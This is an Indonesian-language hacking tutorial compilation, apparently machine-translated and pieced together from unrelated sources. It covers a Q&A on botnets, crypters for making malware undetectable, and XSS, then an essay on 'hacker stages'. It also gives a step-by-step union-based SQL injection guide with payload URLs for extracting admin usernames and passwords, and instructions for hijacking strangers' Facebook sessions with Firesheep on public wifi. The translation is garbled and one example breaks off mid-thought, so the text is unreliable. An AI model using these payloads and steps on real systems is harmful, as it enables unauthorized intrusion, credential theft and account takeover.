Mereka biasanya diberitahu apa yang harus dilakukan oleh admin botnet meskipun banyak fitur yang sekarang otomatis.
Q: Apa itu botnet?
botnet adalah sebuah jaringan komputer yang terinfeksi yang semua terhubung ke satu area di mana mereka diperintahkan oleh admin botnet.
Q: Apa itu crypter sebuah?
Semua server Anda bahwa Anda membuat sebuah keylogger, pencuri, TIKUS dll terdeteksi oleh antivirus. Jadi inorder untuk membuatnya FUD (Penuh tidak terdeteksi) kita gunakan crypter dan crypt terinfeksi server Anda.
Q: Bagaimana cara kerja crypter?
crypter A memiliki built in atau stub file eksternal yang disebut. rintisan ini didasarkan pada enkripsi umum seperti RC4, dll tweafish xor, blowfish Bila Anda crypt file yang terinfeksi Anda crypter yang embeds tulisan rintisan ke server Anda dan mencakup server. Sama seperti bagaimana Anda cat logam berkarat Anda. Dan membuatnya tidak terdeteksi dari anti-virus.
Q: Apa itu reverting?
Mengembalikan adalah teknik yang digunakan untuk mendapatkan password terlupakan. Namun seorang hacker menggunakan metode ini untuk mengakses account korban.
Q: Apa itu social engineering?
Ini adalah pendekatan psikologis, di mana Anda memanipulasi orang ke dalam melakukan tindakan atau membocorkan informasi rahasia, bukan dengan melanggar dalam atau menggunakan teknik hacking teknis.
Q: Apa itu DDos?
Desain inti maksud di balik Denial of Service (DoS) Attack Trojan adalah untuk menghasilkan banyak lalu lintas internet di komputer korban atau server, ke titik bahwa koneksi Internet menjadi terlalu sesak untuk membiarkan orang mengunjungi situs web atau sesuatu download. Sebuah variasi tambahan DoS Trojan adalah Trojan Mail-Bomb, yang penting rencana adalah untuk menginfeksi komputer sebanyak mungkin, sekaligus menyerang banyak alamat email dengan subyek serampangan dan isi yang tidak dapat disaring.
Apa itu XSS dan apa yang mengacu kepada?
Alias XSS Cross Site Scripting adalah sisi klien serangan di mana seorang penyerang menciptakan link jahat,
script berisi kode yang kemudian dilaksanakan dalam browser korban. Kode script
bisa bahasa apapun yang didukung oleh browser, tetapi sebagian besar HTML dan Javascript yang digunakan bersama
dengan embedded Flash, Java atau ActiveX.
Apa yang bisa Cross Site Scripting digunakan untuk?
Cross Site Scripting dapat digunakan untuk berbagai hal, seperti sesi-pembajakan, browser
serangan, phishing, propaganda dan bahkan cacing! Namun masih memerlukan korban untuk mengklik
link jahat diciptakan oleh penyerang.
Bagaimana bisa Satu mendapatkan korban untuk mengklik link XSS?
Cara termudah untuk membuat orang meng-klik link berbahaya adalah untuk membuat mereka terlihat otentik dan non -
jahat. Memberi mereka alasan kemudian adalah rekayasa sosial-bagian yang harus mudah
kecuali jika korban sadar serangan tersebut dan / atau memiliki tindakan terhadap Cross Site Scripting, seperti NoScript.
Bagaimana Satu menghindari XSS-links tampak mencurigakan?
Hal ini biasanya dilakukan dengan penyandian, layanan url pendek, mengarahkan dan bahkan flash!
Yang tipe Cross Site Scripting yang ada?
Jenis yang paling umum adalah GET dan POST berbasis XSS. Namun Cross Site Scripting juga bisa
dipicu melalui cookie. Beberapa individu mengklaim bahwa XSS juga dapat dibagi menjadi gigih dan
non-persistent tetapi juga jenis-jenis dan harus disebut sebagai injeksi yang berbeda
kelas bug / kerentanan.
Apa perbedaan antara GET-POST-XSS?
Perbedaannya adalah bahwa ketika GET-variabel yang digunakan adalah mungkin untuk melakukan serangan XSS normal
mana penyerang mengirimkan crafted URL jahat kepada korban yang kemudian dijalankan ketika
korban membuka link dalam browser.
Dengan variabel POST-penyerang dapat f.ex. menggunakan flash untuk mengirim korban ke POST-XSS
situs rentan karena tidak mungkin untuk membuat URL ketika POST-variabel yang sedang digunakan.
Apakah ada sub-kategori dari Cross Site Scripting?
Pada saat ada XSSR dan XSSQLI. Orang bisa mengatakan bahwa XSRF / CSRF milik yang sama
kategori, namun metode serangan terlalu banyak berbeda dari tradisional Cross Site Scripting.
CSSR alias XSSR atau Cross Site Redirection Script digunakan untuk mengarahkan korban kepada halaman lain
enggan. Halaman bisa misalnya berisi phishing template, kode serangan browser atau
beberapa kasus di mana data atau skema URI javascript digunakan: sesi-pembajakan. XSSQLI adalah
campuran Cross Site Scripting dan SQL Injection, di mana korban ketidaktahuan mengklik link berbahaya
SQL Injection berisi instruksi untuk suatu daerah di website yang membutuhkan hak istimewa yang
tamu atau anggota tidak memiliki. XSRF atau CSRF (kadang-kadang disebut sebagai C-Surf) berdiri untuk
Cross Site Request Pemalsuan yang digunakan untuk mengirim masukan dari pihak ke-3 situs ke situs target.
XSRF dapat dalam beberapa kasus dipicu hanya dengan melihat gambar yang dirancang khusus tetapi yang paling
sering digunakan adalah URL. Dengan Cross Site Request Pemalsuan itu mungkin untuk f.ex. mengubah
password korban jika situs target tidak diamankan dengan baik dengan bukti dll
Apa itu XST dan dapat digunakan untuk apa saja?
XST juga dikenal sebagai Cross Site (Script) Tracing adalah suatu cara untuk menyalahgunakan HTTP Trace (Debug)
protokol. Apa pun yang seorang penyerang mengirimkan ke web-server yang telah diaktifkan akan mengirim TRACE
jawaban yang sama kembali. Jika penyerang mengirimkan berikut:
TRACE / HTTP/1.0 Host: target.tld Custom-header:
Ada 2 metode: kode / script audit atau fuzzing yang digambarkan di bawah ini.
Alat macam apa yang diperlukan untuk menemukan bug XSS? (REQ = Required, OPT = Optional)
- REQ: Internet Browser (seperti FireFox) dalam kasus Anda fuzzing.
- REQ:-penampil teks (seperti notepad) dalam kasus Anda audit.
- KPT: Sebuah proxy mencegat dalam kasus yang sedang Anda lakukan lebih maju XSS. (Dalam FireFox adalah mungkin untuk menggunakan Tamper Data).
- KPT: Browser Addons, untuk FireFox berikut ini adalah terutama bermanfaat: pembakar, JSView dan LiveHTTP Header.
Apa lagi yang berguna untuk mengetahui apakah Kita ingin menemukan bug XSS?
- Browser keterbatasan mengenai Cross Site Scripting [1]
- HTTP Headers dan bagaimana protokol HTTP bekerja.
- HTML + Javascript dan mungkin tertanam serangan script. (flash dll)
- Mencegat proxy (Burp dll), alat diferensial (berbaur, ExamDiff, dll)
- Useful browser-addons (lihat FireCat [3])
- Website scanner (Nikto, W3AF, Grendel, Directory-fuzzers dll)
Mana-bug XSS biasanya terletak?
Hal ini biasanya terletak di masukan pengguna yang diajukan baik melalui GET atau POST variabel, dimana hal itu tercermin pada
situs target sebagai teks di luar tag, tag di dalam nilai-nilai atau dalam javascript. Dapat juga dalam beberapa kasus
disampaikan melalui cookie, http header atau dalam kasus-kasus yang jarang upload.
Bagaimana Satu melindungi sebuah situs terhadap XSS?
Cara terbaik adalah untuk memastikan bahwa semua pengguna input dan output divalidasi dengan benar. Namun dalam beberapa kasus
WAF yang IPS atau juga dapat melindungi terhadap XSS meskipun masih cara terbaik untuk memvalidasi input pengguna-dan-output dengan benar.
___ -:: Menemukan Bug - Dengan Fuzzing:: - ____________
[EASY] Contoh Kasus - A:
Kami berada di http://buggysite.tld di mana kita melihat "Cari-lapangan" di kanan atas. Karena kita tidak tahu
kode sumber nyata tapi hanya HTML-output dari situs kita harus fuzz apa-apa mana mungkin
untuk mengirimkan data. Dalam beberapa kasus, data akan tercermin di situs tersebut dan dalam beberapa kasus wont. Jika tidak
kita beralih ke kue berikutnya, header, mendapatkan / post variabel atau apa pun yang kita fuzzing.
Pada dasarnya, setiap pelaku TI atau praktisi hacking itu sendiri mendefenisikan konsep 'HACKING' yang berbeda. Tidak tertutup kemungkinan untuk terjadi perbedaan pendapat
terhadap konsep yang di makhsud, namun cukup jadikan perbedaan pendapat sebagai sebuah kekayaan pemikiran.
Dalam perjalanan menuju pendewasaan, perubahan pola pikir dan kemampuan teknik, setiap manusia yang memasuki wilayah hacking akan melewati beberapa tingkatan.
1. Si Dungu
Saya rasa tidak berlebihan untuk menyebut masyarakat pada tingkatan ini dengan istilah dungu. Mereka hanya memiliki kemampuan teknis komputer yang rendah dan mengenal hacking dari surat kabar, bahwa hacker adalah seorang penjahat elektronik. Bahkan beberapa diantara mereka juga menulis di surat kabar dalam hal dan konsep yang sama.
2. Lamer
Lamer merupakan sebuah fenomenal awal remaja yang tertarik mempelajari hacking. Mereka mempunyai kemampuan komputer standar dan sedikit lebih banyak mendapat informasi.
Mereka mencoba mencari petunjuk serangan praktis. Baik dari e-zine maupun melalui diskusi IRC (Chatting). Serangan dilakukan dengan trojan, sebuah remote administration tool yang memberikan akses terhadap mesin yang telah terinfeksi.
Lamer juga melakukan benyak hal-hal tidak berguna, seperti tukar-menukar nomor kartu kredit, dan tukar-menukar password website porno komersial. Hacker yang kompeten, atau remaja yang berhasil lolos dari 'seleksi alam' akan melalui masa ini dengan begitu cepat memasuki wilayah penuh keingintahuan.
3. Wannabe
Wannabe hacker menganggap hacking lebih sebagai philosophy, atau seni kehidupan. Mereka mulai membaca teknik-teknik hacking dasar dan melakukan searching (pencarian) dokumen-dokumen hack yang lebih serius. Wannabe telah menunjukkan antusiasnya dalam hacking dan mulai meninggalkan dunia lamer yang penuh kebodohan.
4. Larva
Perjalanan penuh perjuangan menjadi kupu-kupu. Larva telah disibukkan dengan berbagai pertanyaan bagaimana benda-benda bekerja ? Bagaimana dunia bekerja. Larva adalah step terpenting dalam pembentukan jati diri hacker.
Mereka menemukan cara untuk membuat eksploits sendiri. Mencoba melakukan penetrasi sistem tanpa melakukan pengerusakan, karena mereka tahu, pengerusakan sistem adalah cara termudah bagi mereka (sysadmin dan polisi) untuk menangkap jejak sang larva.
5. Hacker
Sebuah keindahan, naluri, karunia tuhan terhadap orang-orang yang berjuang. Akhirnya tingkatan tertinggi dari budaya digital telah dicapai. Sebuah dunia baru menanti. Dunia hacking !!
Sesunguhnya setiap orang tidak akan tau kapan pastinya ia menjadi hacker. Sama halnya dengan anda tidak pernah tau pasti kapan anda tertidur.
Hal terpenting adalah terus belajar dan mengembangkan pengetahuan. Saat anda beristirahat sejenak dan mengenang kembali anda telah menjadi hacker.
Kemampuan Spesial
Hacker dalam tahap pendewasaannya akan mengalami spesialisasi skil/kemampuan. Mereka akan dikenal sebagai:
1. Wizard
Yaitu seseorang yang memiliki pengetahuan yang begitu banyak terhadap subyek tertentu.
2. Guru
Seseorang yang tau apapun tehadap subyek tertentu. Mereka mengetahui fitur-fitur tak terdokumentasi. Trik-trik pengembangan, dan teknik-teknik mengalahkan keterbatasan.
Hacker sejati mengenal kebodohannya dan terus mengembangkan diri untuk mengatasi semua kebodohannya. Dan dalam perjalanan itu alam mengadakan seleksi, siapakah yang mampu bertahan ?
Reverensi:
http://www.ElfQrin.com/docs/HackerStages.html
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x
===========
=step Satu:=
===========
carilah target
misal: [site]/berita.php?id=100
Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh:
[site]/berita.php?id=100' atau
[site]/berita.php?id=-100
ehingga muncul pesan error seperti berikut (masih bnyak lagi):
==========
=step Dua:=
==========
mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by
contoh:
[site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*
ceklah secara step by step (satupersatu)...
misal:
[site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--
sehingga muncul error atau hilang pesan error...
misal: [site]/berita.php?id=-100+order+by+9--
berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--
===========
=step Tiga:=
===========
untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--
ok seumpama yg keluar angka 5
gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--
lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..
untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..
============
=step Empat:=
============
untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir
Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+inf ormation_schema.tables--
seumpama table yang muncul adalah "admin"
===========
=step Lima:=
===========
untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema =database() >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name), 6,7,8+from+information_schema.tables+where+table_s chema=database()--
=============
= step Enam: =
=============
perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name= 0xhexa-- >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name) ,6,7,8+from+information_schema.columns+where+table _name=0xhexa--
pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :
http://www.v3n0m.net/ascii.htm
contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name) ,6,7,8+from+information_schema.columns+where+table _name=0x61646D696E--
============
=step Tujuh:=
============
memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara
perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir
Contoh :
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--
contoh kata yang keluar adalah id,username,password
Contoh :
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,usernam e,password),6,7,8+from+admin--
==============
= step Delapan:=
==============
tahap terakhir mencari halam admin atau login .
Firesheep ini merupakan software opensource yang bisa anda download di http://codebutler.github.com/firesheep/ dan jangan lupa bagi anda pengguna windows untuk memasang winpcap terlebih dahulu. Setelah anda mendownload dan menginstall firesheep dan anda sedang berselancar ria di jaringan wifi yang gratis misalnya di cafe. maka akan muncul sebuah sidebar baru yang menampilkan user-user yang sedang login ke sebuah web sebagai contoh adalah Facebook. Jika pengguna wifi ada yang login ke facebook dan tampil di sidebar anda, maka anda hanya butuh mengklik 2 kali dan anda sekarang bisa login sebagai dia tanpa harus memasukkan username dan password lagi.
Untuk cara menggunakan firesheep, tinggal tekan Ctrl + Shift + S pada keyboard. maka secara otomatis akan muncul Sidebar di firefox anda. Kemudian klik tombol Start Capturing. Jika berhasil, maka akan muncul beberapa facebook orang-orang yang sedang online di kawasan hotspot anda.
untuk mengantisipasinya tinggal kita gunakan backsheep..
kebalikan dari firesheep fungsinya.. silahkan di mengerti
dengan adanya tutorial ini semoga muncul kesadaran bahwa sebenarnya hacking itu luas dan yang terpenting adalah proses dan ilmu yang kalian dapatkan.. majulah "undergrond" Indonesia dan majulah IT indonesia
